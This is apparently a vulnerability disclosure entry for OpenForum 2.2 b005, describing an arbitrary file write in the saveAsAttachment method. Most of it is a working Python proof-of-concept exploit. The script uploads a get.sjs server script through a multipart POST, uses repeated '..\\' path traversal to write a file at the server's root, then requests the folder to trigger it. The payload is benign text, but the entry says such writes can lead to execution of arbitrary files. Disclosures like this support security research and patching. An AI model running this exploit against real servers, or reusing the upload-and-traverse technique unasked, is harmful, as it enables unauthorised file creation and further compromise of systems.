OpenForum 2.2 b005 – ‘saveAsAttachment()’ Method Arbitrary File Creation
# source: https://www.securityfocus.com/bid/40364/info # # OpenForum is prone to a vulnerability that may allow remote attackers to create arbitrary files on a vulnerable system. # # Successful exploits will allow an attacker to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks. # # OpenForum 2.2 b005 is vulnerable; other versions may also be affected. # #============================================================================================================# # _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ # # /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ # # ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) # # /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ # # \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ # # )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ # # \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ # # # #============================================================================================================# # # # Vulnerability............Arbitrary File Write # # Software.................Open Forum Server 2.2 b005 # # Download.................http://code.google.com/p/open-forum # # Date.....................5/23/10 # # # #============================================================================================================# # # # Site.....................http://cross-site-scripting.blogspot.com/ # # Email....................john.leitch5@gmail.com # # # #============================================================================================================# # # # ##Description## # # # # An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be # # exploited to write to the local file system of the server. # # # # # # ##Exploit## # # # # Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder. # # # # # # ##Proof of Concept## # # # import sys, socket host = 'localhost' port = 80 def send_request(request): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(32) # sometimes it takes a while s.connect((host, port)) s.send(request) response = s.recv(8192) + s.recv(8192) # a hack within a hack return response def write_file(): try: content = '----x--\r\n'\ 'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\ 'Content-Type: application/octet-stream\r\n\r\n'\ 'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\ 'data = "hello, world";\r\n'\ 'user = transaction.getUser();\r\n'\ 'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\ 'transaction.sendPage("File Written");\r\n\r\n'\ '----x----\r\n' response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n' 'Host: ' + host + '\r\n' 'Content-Type: multipart/form-data; boundary=--x--\r\n' 'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content) if 'HTTP/1.1 302 Redirect' not in response: print 'Error writing get.sjs' return else: print 'get.sjs created' response = send_request('GET OpenForum HTTP/1.1\r\n' 'Host: ' + host + '\r\n\r\n') if 'File Written' not in response: print 'Error writing to root' return else: print 'x.txt created in root' except Exception: print sys.exc_info() write_file() |